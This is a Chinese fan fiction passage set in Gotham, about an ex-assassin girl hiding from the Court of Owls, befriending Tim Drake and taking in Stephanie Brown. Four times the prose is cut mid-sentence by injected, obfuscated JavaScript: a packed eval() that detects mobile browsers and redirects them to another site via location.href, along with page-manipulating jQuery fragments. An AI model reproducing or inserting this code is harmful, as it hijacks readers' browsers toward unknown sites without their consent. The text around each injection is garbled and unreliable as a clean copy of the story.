那场宴会上唯一让人记忆深刻的点可能是原本来要的布鲁斯韦恩放了鸽子，全场的男男女女大失所望。 小斯波克把自己有些臃肿的身体塞进意大利手工裁剪的高级西装里举着盛满香槟的酒杯，对着过往的身着华服的女性指指点点，眼神迷离时满是挑衅。 “老头子搭上了了不得大人物，这些东西只能给我提鞋。” 约翰照例陪笑，只是在搀扶着小斯波克上车离开的时候，似乎听到了禽类的叫声。 似乎，像是一只猫头鹰。 对，就像现在从高处投射下来的猫头鹰影子一样。 还是穿着连帽衫的少女站在高处，看着地面上捂着伤口无头苍蝇一样的男人四处逃窜。男人的额头只擦破了些油皮就这么惊慌失措，仿佛被鲜血淋浴一样，但是站在索菲亚的高度却闻不到一丝气味。 想出门换换心情的索菲亚刚出门不到十分钟连个汉堡都还没来得及买就收到了那位性情大变的系统发来的任务提示。 消除自身和利爪相关的线索。 风尘仆仆吃了一嘴沙子的索菲亚只能调转方向，蹲在高处等视线里的目标逐渐靠近。 “至于吗？不是手脚还在吗？脑袋也还连在脖子上，不是很完整吗怎么就受伤濒死了。” 索菲亚实在难以从狼狈的男人身上看出一点能够掌握利爪线索的痕迹，不过从他额头留下的爪痕能看出来那位负责的利爪大概率在摸鱼，才能让一个疏于锻炼的中年男人活到现在。 虽然没亲眼目睹过同行工作，但按照老东家审判庭的习惯，得把猎物的精力和勇气全部消耗殆尽，在绝望中将工作对象钉在十字架上，放干身上全部的血之后才会被真正处决。 其实像现在的情况，如果拿枪对着猎物脚边射击，也能达到戏耍的目的，也不知道猫头鹰法庭是不是穷到没有钱给手下配把手枪，让这些利爪只能靠不知道质量如何会不会在砍人的时候被骨头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859231|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡住的双刀工作。 男人眼看就要冲到大街上，这个时候在路口截停男人无疑是最好的选择。选定好目标，前刺客悄无声息的落在小巷的角落里倚靠漆黑的影子掩盖住自己的身影，只等猎物自投罗网。 眼看要进入大路有机会和人求救，一时兴奋的男人重重摔在了地上，磕破了胡子拉碴的下巴，这几日缺乏睡眠让约翰的眼周挂着深深的黑眼圈，但眼眶里全是对于未知的恐惧。 “猫头鹰法庭取你性命。” 银光闪过，男人尚未反应过来，就看到喷溅而出的鲜血，不可置信的低头查看，却只发现自己离地面越来越近，直到看到自己的皮鞋时约翰才终于意识到自己经历了什么。 黑色的庞大猫头鹰杀手从黑暗中走出，提起了约翰的头发，将这颗死不瞑目的头颅顺手扔到墙角。 “还不出来吗？小老鼠。” 索菲亚缓缓站起，金色眼睛在黑暗中与利爪对视，少女能感受到面具下的审视的眼神，紧急向系统用光了能量兑换了冰冻魔法。 “是你，你竟然没死？” 听到这句话，索菲亚立即明白真正需要被清除的线索并不是那个倒霉到分头行动的男人，而是面前那个一眼就能认出她的前同事。 必须要一击致命永远的让对方闭上嘴才能让少女继续沉醉在无趣枯燥却无比平和的生活里。 “和你无关。” 少女汗毛直竖，如果自己真的还是猫头鹰恐怕因为应激能变大好几圈，从角落里一步一步挪出转换位置，直到利爪完整的出现在路灯之下。 “老鹰捉小鸡好玩吗？小鸟你还有用，乖乖回去或许能少遭点罪。” “是吗？”索菲亚回复道，估算着两人之间的距离。“那你在法庭这么多年有医保和养老保险吗？你去看牙医不会还是自费吧。” “花言巧语可救不了你。” 话音刚落，利爪便冲了上来，锋利的爪子朝着索菲亚面门袭来，少女向后一步一脚蹬在墙壁上一个回旋落在男人身后向腿窝踹去。男人的肌肉硬的像块石头，不等索菲亚继续下一个动作就被转过身的男人抓住脚踝，摔在了地上。 “法庭向你问好，小鸟。”男人宽大的手掌掐住少女的脖颈开始加重手下的力度。 “是吗？”索菲亚躺在地上听着耳边系统的倒计时归零“那索菲亚也向你问好。” “去死吧，死鸟。” 蓝光闪过，寒冰以肉眼可见的速度在男人身上迅速蔓延，利爪还来不及反抗就被冰封在冰块之中。和在提姆面前用的魔法相比，那时的小把戏简直像是过家家。 冰块里的利爪刚开始还能眨眼，过了两分钟就彻底停止了动作，但索菲亚知道只要冰块融化这些黑夜里满地乱爬恶心别人的东西还会继续复活。 索菲亚爬上高楼，一眼就看到了仿佛命运安排一样巧合的运送猪肉的冷冻车。用利爪掉落的长刀打破车玻璃，顺着窗户爬了进去，确定冷冻车厢还在正常运行后，少女把被冻在地面的利爪一点点凿了出来平稳的运送到冷气十足的送货车上。 货车的副驾驶还躺着把撬棍，少女就靠着一根撬棍别开了冷库的大门，将利爪藏在了冷库最深处，并且贴心地将温度从保存鲜肉的零下十五度慷慨的拧到了零下八十度，确保前同事可以安享心静自然凉的退休生活。 将大门层层叠叠加了有七八道锁，索菲亚才长出一口气放心的离开。 回家路上即使偶遇黑色的头上带着尖尖的身影划过，少女也能颇有兴致的挥手。 今天是个好日子，对吧？ 5. 第 5 章 好消息，前同事A成了一个冷库的鸟。 坏消息，曾经记载利爪的资料不会和同事一起消失。 这几日，完全被阴魂不散的前公司骚扰的索菲亚无暇顾及学校那些没什么用的破事，只是一个劲的在哥谭各类容易被忽视的地方企图找出猫头鹰的老巢。掀开井盖顺着漆黑肮脏且恶臭扑鼻的下水管道搜查的时候，索菲亚几乎要被臭晕过去，只能捏着鼻子像只无头苍蝇一样瞎逛，最后结果除了吃自助吃到一半的与黑暗几乎融为一体的地下美食家杀手鳄，索菲亚唯一见到的鸟除了来追查杀手鳄和自己擦肩而过的夜翼，只能找到自己这只命苦的蔫吧小猫头鹰。 差点忘了说，索菲亚把那套利爪的制服还是想尽办法涂成了黑色，只在有些空隙处留下了一点棕色的羽毛一样的痕迹，更方便她自己没事干喜欢蹲在楼上望风的爱好，那个有着圆溜溜眼睛的猫头鹰面具也被保留了下来扣在脸上让人难分雌雄，有时被起夜的小孩无意间看到，那时所激发而出的尖叫声成了少女夜晚无偿加班时最大的心理慰藉。 成功将歇斯底里重新组合成了另一个词，底里歇斯。 那很美味了。 猫头鹰人这个词条更是莫名其妙挤进哥谭都市传说必吃榜榜尾的位置，与拿着番茄酱芥末酱沙拉酱千岛酱袭击无辜路人的酱料王有了一战之力，不过距离榜首那位恐惧的化身，如同幽灵一样对人阴魂不散，会把所有罪犯都一夜间都打包好配送到GCPD门口，哥谭的黑暗骑士——蝙蝠侠相比，猫头鹰人会把不听话的小孩写完的作业全部撕掉，还在考试前把学生的笔掉包让学生的考卷空白一片的传说更像是懒得劝自家小孩睡觉的大人随口胡扯的发癫小故事。 所以，为什么在哥谭夜晚游荡的神秘猫头鹰人这么针对小孩啊，哥谭的大人到底对小孩有怎样的恶意，索菲亚实在不得而知，但是在长时间夜间劳作中短暂闭目养神的索菲亚仍旧回忆起由好同桌作为小组组长的，自己负责实地走访的报告，此时自己的进度还是一个干净的零蛋，而看起来悠哉悠哉的提姆背地里疯狂内卷，不过三天就已经完成了大半，甚至还组织组员开了几次会催促进度。 在写了在写了。 到底在卷什么啊，这么卷到底对你有什么好处啊。 提姆德雷克，你这个看到别人被卷的痛苦就会快乐的恶魔。 这次的小组作业大家开会时选定了哥谭的公共交通作为研究对象，提姆主动负责了非常麻烦且资料过于繁多的资料收集部分，如果是放在其他城市这无疑是一个非常好处理的课题。但是在人杰地灵的哥谭，却是一个大难题，那条由韦恩家族出资力图拯救哥谭的地铁就被帮派火拼和超级罪犯搞事时搞出的惊天大爆炸炸毁过数次，再加上数次重建改道，资料错综复杂，看的只让人头皮发麻。 但是索菲亚的好同桌提姆在信息梳理上无疑是个天才。 除去常规的公共交通建造历史，关于线路初期的规划和数次重建工程及相关新闻报道都被提姆挖了出来，就连负责重建的公司，出资额的金额和占比都被挖了个干净，少年还顺手将在重建工程中贪污落马的官员被抓捕的新闻也贴了进去。 光是这么一份字数庞大图文并茂的资料合集，索菲亚简直不敢想象自己的实地调查需要写多少报告才对得起提姆的付出。 非常痛苦的上学，痛苦的夜间做任务当夜猫子，痛苦的牙缝里挤出时间来上上下下在哥谭的地铁公交车等设施里跑了个遍，好歹把报告掺杂着废话把字数水到了对得起同桌努力的字数，但还是痛苦得出结论。 为什么！有人在草他全家的地铁里面拉屎啊！！！ 哥谭屎王！你小子别落在我手里！！ 我要把你的屎打出来！ yue—— 幸运的是，猫头鹰喜欢偷别人建好的巢的习惯并没有轻易被改正，索菲亚在写完报告上交的当天夜里，就在一座废弃大楼的电梯隔间里发现了被用木板封死的在楼层里并不存在的——第十三层。 用刀向木板劈砍而去砍出一道裂缝来，有了裂缝索菲亚将刀放回身后的刀鞘，用带着利爪的手套扩大了缝隙，直到木板变得摇摇欲坠时，索菲亚抬起脚用加了钢板的靴子将木板一脚踹开，顺着被踹开的洞钻了进去。 这是一个废弃的，许久未经人使用的前利爪基地，有关的装备资料全部被尽数转移，厚厚的一层灰因为人的走动而弥漫在空气中。索菲亚举着手电筒，在被猫头鹰废弃的巢穴里来来回回找了几遍，也找不到一丝有用的线索。 好在这里给索菲亚提供了一个非常实用的新思路，楼层的夹层，废弃的大楼，或许其中将这些据点相连接的地下管道，难怪自己在下水道里泥鳅一样转来转去除了纯肉食主义爱好者外没找到一丝线索。 顺着新的思路重新搜寻，果然进度快了很多。 在东区的废弃仓库后的隐藏房间里，索菲亚找到了被丢弃的利爪已经卷了刃的沾着血迹的刀，应该是某次任务后被嫌累赘丢掉的废品，顺着血迹少女发现了一具尸体，被害人曾经是一位医院的院长，在某一天突然失踪再也没有出现在这片土地上，被关在了除了利爪以外永远都不会被发现的地方。 在连接酒店和下水道的隧道里，索菲亚发现了破破烂烂的记载着其他几个据点的地图，好在这里没有什么人民碎片需要被发现。 好在搜寻的进度算得上喜人，后面几个明显还在使用的据点里，索菲亚把肉眼可见的资料交给系统扫描后全都一把火烧了个干净，还顺手把用来补给的装备资源顺手摸了个干净后扬长而去。 这堆装备里还有几个做工精致的钩爪枪。 用钩爪枪在哥谭自由穿梭飞翔的时候，索菲亚几乎要忍不住流下热泪。 我就知道，利爪不能真的用利爪在墙上爬来爬去。 让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859232|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫头鹰刺客cos蜘蛛侠实在是强鸟所难(╥╯^╰╥) 心情愉悦到在空中尝试做托马斯回旋结果失败差点摔的狗吃屎的索菲亚在即将结束一夜辛勤的劳作时，远远看到了小巷里蹑手蹑脚的显得十分灵活小老鼠一样的背影。 看得出来，小老鼠警惕性极强，几乎每走一步都要小心探头确认安全与否，同时也暴露了菜鸟的特质。虽然穿了宽大的衣物，但是从动作风格来讲，索菲亚敢打赌小老鼠是个在晚上出门的青春期叛逆小女孩。 悄无声息的落在女孩背后，索菲亚忍住了笑意刻意摆出一张严肃的表情，拍了拍女孩的肩膀。 “你在找什么？” 女孩呼吸一滞，身体彻底僵住，机械般卡顿着回头，只看到身穿怪异黑色制服的把自己打扮成猫头鹰的家伙几乎贴在自己背后。 “乖小孩应该上床睡觉了。不是吗？坏孩子。” 猫头鹰怪人几乎贴在女孩耳边说话，脑海中都是对于危险响起的警报声，但脚步却沉重的像是裹紧了沾满水的毛毯，连一步都难以挪动。 “小老鼠，告诉我你的名字是什么？” “……” 猫头鹰也难得有耐心，用利爪细细把玩女孩被盖在兜帽下的金色发丝。 “既然你不想说话，那接下来都听我的怎么样？” 锋利利爪顺着肩膀逐渐下滑，被尖锐事物从皮肤划过的感觉让女孩寒毛直竖，但力度却控制的刚好，没有划破少女的皮肤。 女孩尝试张嘴，却还是没办法从嗓子里吐出半个字来，蓝色的眼睛还在震颤。 突然腰部传来异样，哥谭的夜风拉开了女孩的兜帽，吹散了女孩的一头金发，清凉的风打在脸上驱散了之前的紧张。猫头鹰收起了利爪，单手抱着女孩在白日里需要仰着脑袋才能看到的高楼之中穿梭，玻璃映衬出两人鸟儿一般飞翔的身影。 女孩的害怕一下子便被风吹散了，随之而来的是刻在基因中对于飞翔的渴望和雀跃。 “再高一点。” 猫头鹰没有回复，只是在下个动作将两人荡得更高。 女孩恍惚着伸手，似乎真的能触碰到月亮。 直到脚下传来落在地上的实感，金发的女孩才后知后觉的意识到猫头鹰并没有恶意。 猝然结束的梦境一般的画面让女孩意犹未尽，胸腔里心脏鼓点一样的跳动着，将女孩从白日里的烦闷和忧愁里拖了出来。 而猫头鹰则转身，再次飞向了自由。 女孩上前一步，抓住栏杆，几乎将身体都要伸出栏杆之外，被风吹得凌乱的金发在空气中飞舞。 “斯蒂芬妮！” “我叫斯蒂芬妮。” “猫头鹰，你听到了吗？” 即使时隔多年，斯蒂芬妮.布朗已经成为了独立行动的义警搅局者，内心深处还是忘不掉猫头鹰抱着她在哥谭飞翔的那个晚上。 6. 第 6 章 索菲亚听着耳后来自女孩子的声音，努力压下忍不住上扬的嘴角。 好耶，是野生的小女孩。 有没有办法捡走呢？ “请宿主留意自己的银行余额，三千块是没办法养两个孩子的。” 被一盆冷水泼了个清醒的索菲亚找了个滴水兽蹲在上面，看地面的人四处逃窜，尖叫不断，过了一会伴随着发动机轰鸣的蝙蝠车出现一切都揭秘了。 原来是蝙蝠侠来了啊。 那就没错了。 索菲亚从夜里九点就开始探查利爪的信息，像只自由的小鸟在整座哥谭飞来飞去，还顺带送了斯蒂芬妮回家。这些事几乎快将索菲亚榨干，少女回家的路上即便被凉风吹拂也还是几乎睁不开眼睛。 打开窗户后少女先将背后的武器扔了进去，才猫着身子钻了进去。确认双脚踩在地板的真实感，索菲亚长出一口气瘫坐在沙发上，实在懒得花力气脱了制服跑到床上睡，干脆两眼一翻睡了过去。 救命，蝙蝠侠怎么做到三百六十五天全年无休每天夜训的。 依稀记得漫画里的蝙蝠侠白天还要处理一堆工作。 他是把睡眠进化掉了吗？ 他不困吗？ 沙发上还是睡不安稳，一个翻身摔倒在地板上的索菲亚茫然的睁开了眼，想挠下有点发痒的脸却摸到了冰冷的面具。 伸手摘下面具扔到地上爬了起来，制服被汗液打湿，黏糊糊的粘在身上。终于恢复了些许精力的索菲亚干脆将制服一件一件脱下扔在地上，进了浴室进行洗漱。 温水冲刷走了疲惫和灰尘，索菲亚擦着头发出了浴室，湿漉漉的发丝时不时扫过少女白皙的肩头，流下几滴水珠。这个点用吹风机有些扰民，再加上因为一些原因索菲亚并没有给家里买一个拿来用。 从很早开始，索菲亚就不喜欢吹风机，光是被按在固定的地方任人摆布让人难以忍受，更别提没人会在意坐在椅子上那个人的感受，温度并不合适的热风打在脸上，噪音在四周环绕。 这时，离开是不被允许的，更不允许被拒绝，从坐到这张椅子上开始就已经失去了所有的主动权，即使直截了当的提出了建议和要求大多也只是会被无视。既然如此，少女干脆从根本上避免了踏入这种环境的可能。 可是监护人是个例外，一向理性强势的女性会在看到少女湿漉漉的头发时询问是否需要帮忙，即使得到了否定的答案监护人也不会生气，而是平静的收回视线继续把精力放在屏幕里的那些无聊且繁多的工作上。 只有一次，索菲亚和那双钢蓝色的眼睛对视，却没能逃离最后采纳了监护人的建议。 那次监护人用了凉风开了最小档，温和的风在发丝中穿梭，女性略有骨感的纤长的手拨弄着女孩有些细软的头发。被闲置在一旁的电脑屏幕慢慢变得暗淡，不久后信息提醒又亮了起来，少女扫视过去就看到几分钟内几乎叠成密密麻麻的消息提示。 索菲亚觉得头发已经差不多干了就要站起来跑掉，被监护人按着肩膀重新坐下。木梳子一次次梳过，遇到打结的地方就被那双手耐心的理顺，身后女性身上残留的玫瑰香水的气味让索菲亚只感到平静和安心。 不过现在可没有监护人，那位女性这个点估计还在玩了命的加班，再靠那不到五个小时的睡眠继续撑一整天。 索菲亚站在镜子前拿着梳子开始梳头发，几分钟过去头发没见变得整齐，倒是在地面散落不少发丝。少女咬着牙，用手指摸索到打结的地方，在上方用力将那缕头发扯断。 等到一切就绪，头发几乎半干，发丝也不再向下滴水，索菲亚就不管不顾趴在了床上开始玩手机。 可惜的是，索菲亚的社交群体没有忙到几分钟不在就会被信息淹没的地步，虽然关注了班上几个同学的推特，但也只是互相点赞的关系。唯一说得上两句话的提姆生活习惯一向良好，这个点恐怕也早早就睡了。 索菲亚干脆打开Tiktok开始刷短视频，刷了不到两个就又回到社交软件看看有没有遗漏的信息，重复几次后终于是觉得无聊放下手机再度睡了过去。 等到了第二天，面对着坐在位子上和其他同学聊天的同桌，索菲亚还是没有缘由的生气，一直将脸别过去不和提姆对视，下了课也跟多动症一样时不时跑去走廊溜上两圈。 除了数学课，即使努力抬头索菲亚也没办法听进去哪怕半个字，只好低着头用指甲抠手里的橡皮，努力不和老师有丝毫对视的机会。 这是索菲亚多年的经验，在听不明白的课上只要和老师对视，就会被误解为自信，游刃有余从而被喊起来回答问题，因而精通肢体动作的前刺客布兰登小姐竭尽全力把自己缩成一只鹌鹑以达到不被人发现的目的。 只可惜事与愿违，一脸茫然的索菲亚站了起来，既不知道问题更遑论说答案了。来自同桌的那本熟悉的笔记被推了过来，清秀的字迹记录下问题的答案，索菲亚扭过头张嘴胡扯。 “我选C。” 周围一片哄笑声几乎将索菲亚淹没。 “布兰登小姐，你能解释下为什么要在填空题上填写一个选项吗？” “我不知道，我只是回答了你让我回答的问题，并不代表我的答案一定是对的。” 那位老师叹了口气，制止了还在笑的学生摆手示意索菲亚坐下。 索菲亚刚刚坐下，就看到纸面上多了几个字。 “你怎么了？” 索菲亚同样拿笔在本子上写上“跟你无关”的字样将本子推了过去。 “看来是我让你生气了。那你愿意接受我的道歉吗？” “我没有生气” “学校门口有家冰淇凌店开业，我爸给我他家买一送一的优惠券。” “那……我要吃两个。” 放学时间，索菲亚对着顶着两个薄巧冰淇凌球的蛋卷满意的直点头，提姆在旁边举着一个巧克力的蛋筒，两人找了个长椅坐下。 “心情有变好吗？” 索菲亚啃了口冰淇凌被冰的说不出话，于是点了点头。 “其实，不是你的错。” “嗯？” “我睡不着，想找人聊天结果一个人都找不到。” “那一定很糟糕，我的父母有段时间不在家，有一次我半夜做了噩梦想找人说话，也是找不到一个人。” “你哭了吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859233|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“没有。”提姆摇头“不过天亮后我就给爸妈打了电话，妈妈跟我说他们很快会回来让我别害怕。” “那你下次可以找我，我总是睡不着。” “那——谢谢你，索菲亚。”同桌眉眼弯弯轻笑一声“不过我已经不害怕了。” 深夜，提姆.德雷克轻车熟路的避开德雷克庄园的监控设备离开了家。 白天自己确实没有说谎，自从开始在晚上跟随蝙蝠侠和罗宾的脚步后，自己确实很难会被噩梦吓醒，相机里储存的数不胜数从模糊到清晰的相片成了少年成长的证明。 一开始，少年还会因为秘密的夜间行动感到紧张，害怕会遇到些哥谭特产的麻烦，随着时间推进提姆已经将哥谭的街道几乎全部印在脑子里，记忆里各个街区的势力分布比学校里教习的知识更加清晰，但不变的是行动时少年的激情从未消散，甚至愈演愈烈。 不过今天略有不同，提姆德雷克将不再成为跟在英雄身后的小粉丝，而是直面那位哥谭的黑暗骑士蝙蝠侠。 大概在几年前，提姆德雷克就发现了哥谭最大的秘密。那时在哥谭夜空飞翔的少年义警罗宾，无论是在打斗还是在赶路时做出的高难度演出动作都和多年前哈利马戏团的招牌飞翔的格雷森如出一辙。 结合罗宾的年纪和出道时间，提姆立即确定了自己的猜想，罗宾就是那位赫赫有名的理查德.格雷森，以此类推那位哥谭黑暗的化身无疑就是迪克的监护人布鲁斯韦恩。 作为理智的小粉丝，提姆将这个秘密埋藏在心底，但面对讨论蝙蝠侠的同学，少年总是有几分自豪。 在罗宾单飞后几个月，新的罗宾出现。大多数人分不清罗宾之间的区别，但对于提姆来说这简直再简单不过。 虽然接受过训练，但二代罗宾做不出迪克那样一连串视觉观赏价值极高的动作，可能唯一不同的是伴随着青春期，这位罗宾对于某些罪犯往往下手更狠辣，好几次都没有和蝙蝠侠一起夜训。提姆猜测可能是杰森.陶德出身街头的经历让他容易共情受害者，强大的共情能力让他以容易陷入代入受害者审判他人的困境中。 但这并不意味着这位罗宾是残暴失败的，不同的经历塑造了不一样的人，面对手无缚鸡之力的孩童妇女，罗宾总是耐心的安抚他们。提姆曾经就被罗宾当成了走失儿童，被少年抱着送回了家。 要说最喜欢哪位罗宾，提姆要犹豫很久才能选出迪克.格雷森这个选项。 对不起了杰森，不是你不好，但我认识罗宾之前就是飞翔的格雷森的粉丝了。 此前，提姆从没想过要成为罗宾，他更喜欢成为那个唯一一个知道大家秘密的幸福小粉丝。 但是在二代罗宾失踪后，蝙蝠侠对于罪犯容忍度越来越低，下手也越来越重，几乎几次都快将人打到濒死，而布鲁斯韦恩也公布了他的养子杰森.陶德因为意外去世的信息。 提姆知道，自己不能袖手旁观，他无法眼睁睁看着一位英雄堕入深渊，看着一位伟大的战士被打倒后一蹶不振，他得站出来成为拉住这位英雄的安全绳，他要成为罗宾。 我要成为罗宾。 下定决心，提姆按响了韦恩庄园的门铃。 7. 第 7 章 哥谭的经典都市传说进行了一些更新，像是入狱不久的企鹅人再次无伤出狱，小丑激情炸阿卡姆精神病院后目前处于杳无音讯的状态，以及最为重磅级的蝙蝠侠身边再次出现的自由活泼的小助手——罗宾。 不过索菲亚目前实在抽不出空关注蝙蝠侠和新罗宾了，因为此刻少女有更重要的事需要处理。 其一是系统突然进行了升级更新，便将固定升级打怪的arpg（动作角色扮演游戏）转变成了完全自由的沙盒游戏，虽然系统此前也算不上智能，但至少也是手把手带着索菲亚一步一步的推任务，但是更新后系统发布任务只是简单的跳出大概任务内容和模棱连可的线索，不进行任何的指引，全靠索菲亚自行发挥来处理后续工作。 比起系统，这样的形式其实更接近索菲亚印象里的猎魔人的工作。 很多猎魔人在聚会的时候都会提到自己找寻伤人黑暗生物的经历，老一辈大多依靠过去留下的老顾客和情报网，但其余时候也只是完全听天由命。 对比之下，新一代的猎魔人自主权会更强一点，比如由目前猎魔人协会会长爱德华为主的情报平台。 从网络论坛社群讨论到线下的目击记录，新生代的猎魔人们都乐意把自己手里零散的线索上传至网络，同时他们自己也能从他人提供的案例线索中找到自己想要的东西。 可惜的是目前在哥谭先要重头建立一个猎魔人为主导的信息整合平台，对于脑子不怎么好使的未成年来讲有点强人所难。索菲亚干脆打算模仿爱德华在尚未建立平台前寻找猎物的方法——逛论坛。 像是这次升级后的任务其中一条还是摆脱猫头鹰法庭，大概率是个内容难以量化的长期任务，另一个任务就是要找到藏在哥谭阴影里的食尸鬼。 食尸鬼是人类文明发展过程中出现的特色怪物，与类似于吸血鬼，狼人，龙，人鱼这类魔幻生物不同，食尸鬼的诞生和人类有不可割舍的关系。 顾名思义，啃食人类尸体的怪物便是食尸鬼，且这类怪物由人类中分化出来，最初是主动啃食同类尸体的人类。 随着食用的尸体越多，这类人逐渐异化身体溃烂失去理智的怪物，将活着的人类也当做食物。 索菲亚曾经见过完全变异的食尸鬼将一名路人开膛破肚激情吃上了自助，受害者从肌肉到内脏全都被啃的干干净净，根据回溯魔法显示的内容来看，这位倒霉蛋被拖进了巢穴后没有直接死亡，而是在被连着啃了两天后才挣扎着死去。 至少从各方面来讲，处理完全失去人性且残暴易怒的食尸鬼完全符合社会的基本道德准则，就算是遇到那个黑漆漆的义警，蝙蝠侠都不能说什么不对。 其二就是——捡到猫了。 朋友们，她想跟我走。 骄傲举起金色小猫。 在那次在送斯蒂芬妮回家之后，索菲亚好不容易接受了自己是个能吃的穷鬼的事实，每天都悲痛自于己错失可爱小女孩的抚养权。 直到两天后的夜晚，刻意避开蝙蝠侠夜巡路线的猫头鹰再次在地面看到了金发的少女在街巷里穿梭。索菲亚控制钩爪枪，精准且轻盈的落在女孩面前故作矜持的开口。 “你好斯蒂芬妮。” “猫头鹰，你能帮我个忙吗？” 蓝色的眼睛在黑暗中闪闪发光。 “？”猫头鹰歪着脑袋缓缓发出一个问号“你说。” “我想送我爸坐牢。” 虽然了解过哥谭复杂的社会情况，但是小金毛的请求索菲亚还是认真进行了思考。 “我是不是有点强人所难，我知道你是个义警，但是我爸他是个蹩脚的三流反派，自从他出狱以来我一直都想相信他已经金盆洗手了，但是他最近的行为让我察觉到他肯定又在做些不入流的犯罪计划。” “所以我想抓住他踢他的屁股然后让他坐牢。” “……” “很难吗？”蓝色的星星眼闪个不停。 “倒……也没有。”索菲亚略微停顿才开口“有点复杂，我建议你直接委托我把你爸杀了会快一点。” “我可以把他挂在你喜欢的路灯上。” “不可以，这样好过分！”斯蒂芬妮尖叫起来，在思考了和父亲相处的时光后又平静了下来“好像也可以，但我一定要把他的犯罪证据寄给蝙蝠侠或者警察。” “那，你爸是谁？平时喜欢出没在哪里？有什么爱好吗？” “你在反派榜单从下往上数，就能找到一个叫线索大师的家伙，就是他。” 索菲亚点点头认真的为了斯蒂芬妮接下这单义务劳动委托。 毕竟谁能拒绝一个星星眼的小金毛呢？ 索菲亚正要离开就看着眼前金发的少女还在盯着她，像极了想提出要求怕被拒绝眼神湿漉漉的小猫咪。 “还有什么事吗？” “我……不想回家。” 拼尽全力无法战胜。 索菲亚单手抱着斯蒂芬妮用钩爪枪荡了回去，贴心的帮女孩打开了自家窗户上的玻璃，钻了进去。斯蒂芬妮紧随其后，终于踏实的落到了地板上。 索菲亚开始不管不顾的摘面具，并且又是把装备扔的满地都是。 “你等我一下，我去洗个澡。” “等等，猫头鹰，你是女孩？”斯蒂芬妮惊奇的围着索菲亚转个不停“而且看起来和我一样大，你上高中了吗？” “没有。”索菲亚摇头继续往浴室走去。 “你把我带回家不怕我是坏人吗？”斯蒂芬妮跟在少女身后叽叽喳喳像只活泼的小鸟。 “没关系。”索菲亚转身关上浴室门，关门前最后一刻斯蒂芬妮听到了从门缝传来的声音“分尸有点麻烦，但不是难事。” 斯蒂芬妮站在原地静静地等猫头鹰出来，但内心还是尖叫个没完，不一会儿就控制不住躺在地上打滚。 “她真的好酷，是女孩子好耶！” 浴室门上镶嵌着了一块玻璃，能隐隐约约看到里面的暖光，水汽蒸腾附着在玻璃上勾勒出一个模糊的人影，能听到连绵不断的水打在人的皮肤上，地面上的声音，最后这些水汇集起来顺着地板的坡度流进了出水口。 斯蒂芬妮躺在地上四处打量，她所在的房间只是其中一个卧室，从周边有些杂乱的生活痕迹看得出来就是猫头鹰本人常住的房间。 双人床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859234|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上只在中间摆了一个枕头，灰色的被子以诡异的形状被卷成一坨，周边还歪七扭八的躺着几个八十厘米的毛绒玩偶。 床对面摆了张桌子，上面是摊开的本子，圆珠笔的笔尖没有收回戳在纸面上晕染出蓝色的墨迹。本子上歪七扭八的写了几个牛头不对马嘴的词，犯罪巷，蝙蝠侠，逃，更多冷库，夜翼，疼痛和冰淇凌。 结合关键词和猫头鹰留下的话，让斯蒂芬妮忍不住去浮想联翩，怕不是猫头鹰其实是个超级反派吧，在犯罪巷被蝙蝠侠和夜翼抓住，关到了冷库里历尽千难万险才逃出来，结果还挨了顿打所以一直在喊疼。 好邪恶好惨的反派，被打之后甚至只能自己买冰淇凌安慰自己。 门嘎吱一声被打开，猫头鹰带着水汽走了出来，一边擦头发一边招呼斯蒂芬妮也去洗澡。 这时斯蒂芬妮才借着灯光看清了猫头鹰的样子。 少女穿了件吊带背心配短裤，及肩黑发没有吹干湿漉漉的搭在肩头，金色的眼睛微微眯起，让人想到沉迷舔毛清洁自己的黑猫。不过与设想的白人长相不同，猫头鹰的五官呈现一种亚洲人特有的柔和，强烈的异域特色拉远了斯蒂芬妮和少女的距离。 